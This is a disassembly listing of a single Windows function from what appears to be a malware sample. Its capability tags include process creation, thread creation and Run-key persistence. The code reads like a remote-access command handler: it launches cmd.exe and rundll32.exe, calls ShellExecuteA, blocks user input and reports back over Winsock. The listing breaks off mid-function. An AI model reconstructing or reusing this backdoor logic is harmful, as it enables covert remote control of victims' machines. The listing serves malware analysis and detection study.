Function at 0x100262b2
Capabilities:
Create process on windows
Create thread
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x84
push 8
call fcn.100abdd1
add esp, 4
mov dword [ebp - 4], eax
mov edi, eax
mov esi, 0x100d42b8
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
mov dword [ebp - 0x18], 0
push 8
call fcn.100abdd1
add esp, 4
mov dword [ebp - 0x1c], eax
mov edi, eax
mov esi, 0x100d42b8
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
mov dword [ebp - 0x20], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x2c], 0
push 8
call fcn.100abdd1
add esp, 4
mov dword [ebp - 0x30], eax
mov edi, eax
mov esi, 0x100d42b8
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
mov dword [ebp - 0x34], 0
push 8
call fcn.100abdd1
add esp, 4
mov dword [ebp - 0x38], eax
mov edi, eax
mov esi, 0x100d42b8
lodsd eax, dword [esi]
stosd dword es:[edi], eax
lodsd eax, dword [esi]
stosd dword es:[edi], eax
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x40], 0
cmp dword [ebp + 0x10], 3
jne 0x100264c6
mov dword [ebp - 0x44], 0
push 0
push dword [ebp - 0x44]
lea eax, [ebp - 4]
push eax
mov eax, str.rundll32.exe
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push eax
call fcn.10011f39
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x100263b6
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 4]
call fcn.10002428
xor ecx, ecx
push eax
lea eax, [ebp - 8]
mov ebx, eax
pop eax
inc ecx
push ecx
push ebx
mov dword [ebx], ecx
push eax
cmp ecx, eax
jg 0x100264b9
mov ebx, dword [ebp - 4]
call fcn.10001d16
push ebx
push ecx
mov eax, dword [ebp - 8]
dec eax
jns 0x100263fc
push 0xa6
push 0x403116f
push 4
call fcn.100abddd
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x10026419
push 0xa6
push 0x403116f
push 1
call fcn.100abddd
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x44], ebx
mov eax, str.Remote.hlp
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push eax
mov ebx, dword [ebp - 0x44]
push dword [ebx]
call fcn.10024bc4
mov dword [ebp - 0x4c], eax
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x1002644a
push ebx
call fcn.100abdd7
add esp, 4
cmp dword [ebp - 0x4c], 0
je 0x100264b1
mov ebx, dword [ebp - 4]
call fcn.10001d16
push ebx
push ecx
mov eax, dword [ebp - 8]
dec eax
jns 0x1002647b
push 0xd8
push 0x403116f
push 4
call fcn.100abddd
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x10026498
push 0xd8
push 0x403116f
push 1
call fcn.100abddd
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x44], ebx
push 1
mov ebx, dword [ebp - 0x44]
push dword [ebx]
call fcn.100033ab
jmp 0x100264b9
pop eax
pop ebx
pop ecx
jmp 0x100263c7
add esp, 0xc
call fcn.100160c8
jmp 0x1002dd78
cmp dword [ebp + 0x10], 2
jne 0x1002dd78
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.10007bbf
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x44]
push eax
mov ebx, dword [ebp - 0xc]
test ebx, ebx
je 0x100264f2
push ebx
call fcn.100abdd7
add esp, 4
pop eax
mov dword [ebp - 0xc], eax
push 0x80000301
push 0
push 6
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x10026515
mov eax, 0x100d42b8
push eax
push 2
mov ebx, 0x1a0
call fcn.100ad2f0
add esp, 0x1c
mov dword [ebp - 0x44], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x1002653e
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10026564
push ebx
call fcn.100abdd7
add esp, 4
mov eax, dword [ebp - 0x48]
push eax
mov ebx, dword [ebp - 0x10]
test ebx, ebx
je 0x10026578
push ebx
call fcn.100abdd7
add esp, 4
pop eax
mov dword [ebp - 0x10], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x1002658f
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x194
call fcn.100ad2e0
add esp, 0x10
mov dword [ebp - 0x4c], eax
fild dword [ebp - 0x4c]
fstp qword [ebp - 0x4c]
fld qword [ebp - 0x4c]
fsub qword [0x100d445e]
fstp qword [ebp - 0x54]
fld qword [ebp - 0x54]
call fcn.10001713
push 0x80000301
push 0
push eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0xc]
test eax, eax
jne 0x100265e0
mov eax, 0x100d42b8
push eax
push 2
mov ebx, 0x1a4
call fcn.100ae720
add esp, 0x1c
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0x58]
push eax
mov ebx, dword [ebp - 0x14]
test ebx, ebx
je 0x10026610
push ebx
call fcn.100abdd7
add esp, 4
pop eax
mov dword [ebp - 0x14], eax
push 0x100dccd1
push dword [ebp - 0x10]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x10026986
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10026640
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x44], eax
push 0x100dccd8
push dword [ebp - 0x44]
call fcn.10001676
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10026684
push ebx
call fcn.100abdd7
add esp, 4
cmp dword [ebp - 0x48], 0
je 0x100267aa
cmp dword [0x100e6d01], 0
je 0x100266f6
push reloc.WS2_32.dll_connect
push 0
push 0x100dcce6
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x44]
push eax
mov eax, 0x100dccd1
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push eax
call fcn.100242db
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x100266e1
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x100266f1
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x100267a5
mov dword [ebp - 0x4c], esp
lea eax, [ebp - 0x18]
push eax
push 0
push 0
push 0x1003cc3a
push 0
push 0
xor eax, eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
nop
nop
cmp dword [ebp - 0x4c], esp
je 0x1002673c
push 0x3be
push 0x403116f
push 6
call fcn.100abddd
add esp, 0xc
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 0
jne 0x100267a5
push reloc.WS2_32.dll_connect
push 0
push 0x100dcd02
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x44]
push eax
mov eax, 0x100dccd1
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push eax
call fcn.100242db
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10026795
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x100267a5
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x10026981
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x100267bd
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x44], eax
push 0x100dcd12
push dword [ebp - 0x44]
call fcn.10001676
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10026801
push ebx
call fcn.100abdd7
add esp, 4
cmp dword [ebp - 0x48], 0
je 0x10026854
push dword [0x100e6d01]
call fcn.1002df62
mov dword [0x100e6d01], 0
mov dword [ebp - 0x44], 0
push 0
push dword [ebp - 0x44]
push 1
mov eax, str.cmd.exe
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x48]
push eax
call fcn.1002dfa2
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x1002684f
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x10026981
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10026867
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x4c], eax
push 0x100dccd8
push dword [ebp - 0x4c]
call fcn.10001676
add esp, 8
cmp eax, 0
mov eax, 0
setne al
mov dword [ebp - 0x50], eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x100268ae
push ebx
call fcn.100abdd7
add esp, 4
cmp dword [ebp - 0x50], 0
je 0x10026932
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x100268ce
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x54], eax
push 0x100dcd12
push dword [ebp - 0x54]
call fcn.10001676
add esp, 8
cmp eax, 0
mov eax, 0
setne al
mov dword [ebp - 0x58], eax
mov ebx, dword [ebp - 0x54]
test ebx, ebx
je 0x1002691e
push ebx
call fcn.100abdd7
add esp, 4
cmp dword [ebp - 0x58], 0
je 0x10026932
mov eax, 1
jmp 0x10026937
mov eax, 0
test eax, eax
je 0x10026981
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10026952
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x44], eax
lea eax, [ebp - 0x44]
push eax
call fcn.1002e7bc
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10026981
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x1002dd78
push str.100001
push dword [ebp - 0x10]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x10026ba0
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x100269b2
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x44], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.__._____:___0_9_8765_4_32_1__
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x100269ed
mov eax, 0x100d424e
push eax
push 3
mov ebx, 0x190
call fcn.100ad930
add esp, 0x28
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10026a13
push ebx
call fcn.100abdd7
add esp, 4
mov eax, dword [ebp - 0x48]
push eax
mov ebx, dword [ebp - 0x1c]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x10026a35
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x10026a31
imul eax, dword [ebx]
jmp 0x10026a26
mov ecx, eax
test ecx, ecx
je 0x10026a54
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x10026a4d
push ebx
push eax
call fcn.100abdd7
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x10026a3b
call fcn.100abdd7
add esp, 4
pop eax
mov dword [ebp - 0x1c], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10026a73
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x44], eax
push 0x80000301
push 0
push 0xb
push 1
mov ebx, 0x1c
mov eax, 0x100b6fa0
call fcn.100acb10
add esp, 0x10
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x1c]
call fcn.10001d16
push ebx
push ecx
mov ebx, dword [ebp - 0x1c]
call fcn.10002428
dec eax
jns 0x10026adb
push 0x79f
push 0x403116f
push 4
call fcn.100abddd
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x10026af8
push 0x79f
push 0x403116f
push 1
call fcn.100abddd
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x50], ebx
mov ebx, dword [ebp - 0x50]
push dword [ebx]
push dword [ebp - 0x48]
mov ecx, 2
call fcn.100010a5
add esp, 8
mov dword [ebp - 0x54], eax
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10026b31
push ebx
call fcn.100abdd7
add esp, 4
mov dword [ebp - 0x58], esp
push 0
push 0
push dword [ebp - 0x54]
push dword [ebp - 0x44]
push 0
xor eax, eax
call dword [0x100e6e89]
nop
nop
cmp dword [ebp - 0x58], esp
je 0x10026b78
push 0x79f
push 0x403116f
push 6
call fcn.100abddd
add esp, 0xc
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10026b88
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x54]
test ebx, ebx
je 0x10026b9b
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x1002dd78
push str.100002
push dword [ebp - 0x10]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x10026ebd
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10026bcc
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x44], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push str.__._____:___0_9_8765_4_32_1__
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x10026c07
mov eax, 0x100d424e
push eax
push 3
mov ebx, 0x190
call fcn.100ad930
add esp, 0x28
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10026c2d
push ebx
call fcn.100abdd7
add esp, 4
mov eax, dword [ebp - 0x48]
push eax
mov ebx, dword [ebp - 0x1c]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x10026c4f
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x10026c4b
imul eax, dword [ebx]
jmp 0x10026c40
mov ecx, eax
test ecx, ecx
je 0x10026c6e
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x10026c67
push ebx
push eax
call fcn.100abdd7
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x10026c55
call fcn.100abdd7
add esp, 4
pop eax
mov dword [ebp - 0x1c], eax
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10026c8d
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x44], eax
push 0x80000301
push 0
push 0xb
push 1
mov ebx, 0x1c
mov eax, 0x100b6fa0
call fcn.100acb10
add esp, 0x10
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x1c]
call fcn.10001d16
push ebx
push ecx
mov ebx, dword [ebp - 0x1c]
call fcn.10002428
dec eax
jns 0x10026cf5
push 0x8ba
push 0x403116f
push 4
call fcn.100abddd
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x10026d12
push 0x8ba
push 0x403116f
push 1
call fcn.100abddd
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x50], ebx
mov ebx, dword [ebp - 0x50]
push dword [ebx]
push dword [ebp - 0x48]
mov ecx, 2
call fcn.100010a5
add esp, 8
mov dword [ebp - 0x54], eax
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x10026d4b
push ebx
call fcn.100abdd7
add esp, 4
mov dword [ebp - 0x58], esp
push 0
push 0
push dword [ebp - 0x54]
push dword [ebp - 0x44]
push 0
xor eax, eax
call dword [0x100e6e89]
nop
nop
cmp dword [ebp - 0x58], esp
je 0x10026d92
push 0x8ba
push 0x403116f
push 6
call fcn.100abddd
add esp, 0xc
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10026da2
push ebx
call fcn.100abdd7
add esp, 4
mov ebx, dword [ebp - 0x54]
test ebx, ebx
je 0x10026db5
push ebx
call fcn.100abdd7
add esp, 4
push 0x80000301
push 0
push 0xb
push 1
mov ebx, 0x1c
mov eax, 0x100b6fa0
call fcn.100acb10
add esp, 0x10
mov dword [ebp - 0x44], eax
mov ebx, dword [ebp - 0x1c]
call fcn.10001d16
push ebx
push ecx
mov ebx, dword [ebp - 0x1c]
call fcn.10002428
dec eax
jns 0x10026e07
push 0x943
push 0x403116f
push 4
call fcn.100abddd
add esp, 0xc
pop ecx
pop ebx
cmp eax, ecx
jl 0x10026e24
push 0x943
push 0x403116f
push 1
call fcn.100abddd
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x4c], ebx
mov ebx, dword [ebp - 0x4c]
push dword [ebx]
push dword [ebp - 0x44]
mov ecx, 2
call fcn.100010a5
add esp, 8
mov dword [ebp - 0x50], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10026e57
push ebx
call fcn.100abdd7
add esp, 4
mov dword [ebp - 0x54], esp
push 3
push 0
push 0
push dword [ebp - 0x50]
push 0x100d4490
push 0
xor eax, eax
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
nop
nop
cmp dword [ebp - 0x54], esp
je 0x10026ea5
push 0x943
push 0x403116f
push 6
call fcn.100abddd
add esp, 0xc
mov ebx, dword [ebp - 0x50]
test ebx, ebx
je 0x10026eb8
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x1002dd78
push str.200002
push dword [ebp - 0x10]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x10026edb
jmp 0x1002dd78
push str.300003
push dword [ebp - 0x10]
call fcn.10001676
add esp, 8
cmp eax, 0
jne 0x10027c81
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10026f07
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x44], eax
push 0
push 0
push 0
push reloc.WS2_32.dll_connect
push 0
push 0x100d43a1
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x44]
test eax, eax
jne 0x10026f42
mov eax, 0x100d424e
push eax
push 3
mov ebx, 0x190
call fcn.100ad930
add esp, 0x28
mov dword [ebp - 0x48], eax
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10026f68
push ebx
call fcn.100abdd7
add esp, 4
mov eax, dword [ebp - 0x48]
push eax
mov ebx, dword [ebp - 0x1c]
push ebx
mov ecx, dword [ebx]
add ebx, 4
test ecx, ecx
je 0x10026f8a
mov eax, dword [ebx]
add ebx, 4
dec ecx
je 0x10026f86
imul eax, dword [ebx]
jmp 0x10026f7b
mov ecx, eax
test ecx, ecx
je 0x10026fa9
push ecx
mov eax, dword [ebx]
test eax, eax
je 0x10026fa2
push ebx
push eax
call fcn.100abdd7
add esp, 4
pop ebx
add ebx, 4
pop ecx
dec ecx
jne 0x10026f90
call fcn.100abdd7
add esp, 4
pop eax
mov dword [ebp - 0x1c], eax
mov ebx, dword [ebp - 0x1c]
call fcn.10002428
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 2
jne 0x100270fb
mov dword [0x100e6d05], 1
mov ebx, dword [ebp - 0x1c]
call fcn.10001d16
mov eax, 1
cmp eax, ecx
jl 0x10026ffc
push 0xaaa
push 0x403116f
push 1
call fcn.100abddd
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x44], ebx
mov ebx, dword [ebp - 0x44]
mov eax, dword [ebx]
test eax, eax
je 0x10027022
push eax
mov ebx, eax
call fcn.1000103a
inc eax
push eax
call fcn.100abdd1
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
push eax
mov ebx, dword [0x100e6d09]
test ebx, ebx
je 0x10027036
push ebx
call fcn.100abdd7
add esp, 4
pop eax
mov dword [0x100e6d09], eax
mov ebx, dword [ebp - 0x1c]
call fcn.10001d16
mov eax, 1
cmp eax, ecx
jl 0x10027064
push 0xb03
push 0x403116f
push 1
call fcn.100abddd
add esp, 0xc
shl eax, 2
add ebx, eax
mov dword [ebp - 0x44], ebx
mov ebx, dword [ebp - 0x44]
push dword [ebx]
push 0x100d4466
mov ecx, 2
call fcn.100010a5
add esp, 8
mov dword [ebp - 0x48], eax
push reloc.WS2_32.dll_connect
push 0
mov eax, dword [ebp - 0x48]
test eax, eax
jne 0x10027099
mov eax, 0x100d424e
push eax
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x4c], eax
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x100270bf
push ebx
call fcn.100abdd7
add esp, 4
mov dword [ebp - 0x50], 0
push 0
push dword [ebp - 0x50]
lea eax, [ebp - 0x4c]
push eax
push dword [0x100e6ced]
push dword [0x100e6ca1]
call fcn.10025e5e
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x100270f6
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x10027c7c
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x1002710e
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x54], eax
push 0x100dcd44
push dword [ebp - 0x54]
call fcn.10001676
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x58], eax
mov ebx, dword [ebp - 0x54]
test ebx, ebx
je 0x1002715e
push ebx
call fcn.100abdd7
add esp, 4
cmp dword [ebp - 0x58], 0
je 0x100271c2
push reloc.WS2_32.dll_connect
push 0
push str.222222
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], 0
push 0
push dword [ebp - 0x48]
lea eax, [ebp - 0x44]
push eax
push dword [0x100e6ced]
push dword [0x100e6ca1]
call fcn.10025e5e
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x100271bd
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x10027c7c
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x100271d5
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x4c], eax
push 0x100d45c6
push dword [ebp - 0x4c]
call fcn.10001676
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x50], eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x1002721c
push ebx
call fcn.100abdd7
add esp, 4
cmp dword [ebp - 0x50], 0
je 0x1002728a
mov dword [0x100e6d05], 0
push reloc.WS2_32.dll_connect
push 0
push str.333333
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], 0
push 0
push dword [ebp - 0x48]
lea eax, [ebp - 0x44]
push eax
push dword [0x100e6ced]
push dword [0x100e6ca1]
call fcn.10025e5e
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10027285
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x10027c7c
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x1002729d
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x4c], eax
push 0x100dcd49
push dword [ebp - 0x4c]
call fcn.10001676
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x50], eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x100272e4
push ebx
call fcn.100abdd7
add esp, 4
cmp dword [ebp - 0x50], 0
je 0x10027324
mov dword [ebp - 0x44], esp
push 1
xor eax, eax
call dword [sym.imp.USER32.dll_BlockInput]
nop
nop
cmp dword [ebp - 0x44], esp
je 0x1002731f
push 0xc9e
push 0x403116f
push 6
call fcn.100abddd
add esp, 0xc
jmp 0x10027c7c
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10027337
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x48], eax
push 0x100dcd52
push dword [ebp - 0x48]
call fcn.10001676
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x4c], eax
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x1002737b
push ebx
call fcn.100abdd7
add esp, 4
cmp dword [ebp - 0x4c], 0
je 0x100273b8
mov dword [ebp - 0x44], esp
push 0
xor eax, eax
call dword [sym.imp.USER32.dll_BlockInput]
nop
nop
cmp dword [ebp - 0x44], esp
je 0x100273b3
push 0xd0f
push 0x403116f
push 6
call fcn.100abddd
add esp, 0xc
jmp 0x10027c7c
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x100273cb
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x48], eax
push 0x100dcd5b
push dword [ebp - 0x48]
call fcn.10001676
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x4c], eax
mov ebx, dword [ebp - 0x48]
test ebx, ebx
je 0x1002740f
push ebx
call fcn.100abdd7
add esp, 4
cmp dword [ebp - 0x4c], 0
je 0x10027470
push reloc.WS2_32.dll_connect
push 0
push str.110081
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], 0
push 0
push dword [ebp - 0x48]
lea eax, [ebp - 0x44]
push eax
push dword [0x100e6ced]
push dword [0x100e6ca1]
call fcn.10025e5e
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x1002746b
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x10027c7c
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10027483
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x4c], eax
push 0x100dcd64
push dword [ebp - 0x4c]
call fcn.10001676
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x50], eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x100274ca
push ebx
call fcn.100abdd7
add esp, 4
cmp dword [ebp - 0x50], 0
je 0x1002752e
push reloc.WS2_32.dll_connect
push 0
push str.110082
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], 0
push 0
push dword [ebp - 0x48]
lea eax, [ebp - 0x44]
push eax
push dword [0x100e6ced]
push dword [0x100e6ca1]
call fcn.10025e5e
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x10027529
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x10027c7c
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x10027541
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x4c], eax
push 0x100dcd6d
push dword [ebp - 0x4c]
call fcn.10001676
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x50], eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x10027588
push ebx
call fcn.100abdd7
add esp, 4
cmp dword [ebp - 0x50], 0
je 0x100275ec
push reloc.WS2_32.dll_connect
push 0
push str.110064
push 1
mov ebx, 0x198
call fcn.100ad860
add esp, 0x10
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x48], 0
push 0
push dword [ebp - 0x48]
lea eax, [ebp - 0x44]
push eax
push dword [0x100e6ced]
push dword [0x100e6ca1]
call fcn.10025e5e
mov ebx, dword [ebp - 0x44]
test ebx, ebx
je 0x100275e7
push ebx
call fcn.100abdd7
add esp, 4
jmp 0x10027c7c
push reloc.WS2_32.dll_getpeername
push 0
mov eax, dword [ebp - 0x14]
test eax, eax
jne 0x100275ff
mov eax, 0x100d42b8
push eax
push 1
mov ebx, 0x168
call fcn.100acd80
add esp, 0x10
mov dword [ebp - 0x4c], eax
push 0x100dcd76
push dword [ebp - 0x4c]
call fcn.10001676
add esp, 8
cmp eax, 0
mov eax, 0
sete al
mov dword [ebp - 0x50], eax
mov ebx, dword [ebp - 0x4c]
test ebx, ebx
je 0x10027646
push ebx
call fcn.100abdd7
add esp, 4
cmp dword [ebp - 0x50], 0
je 0x100276aa
push reloc.WS2_32.dll_connect
push 0
push str.110065
push 1
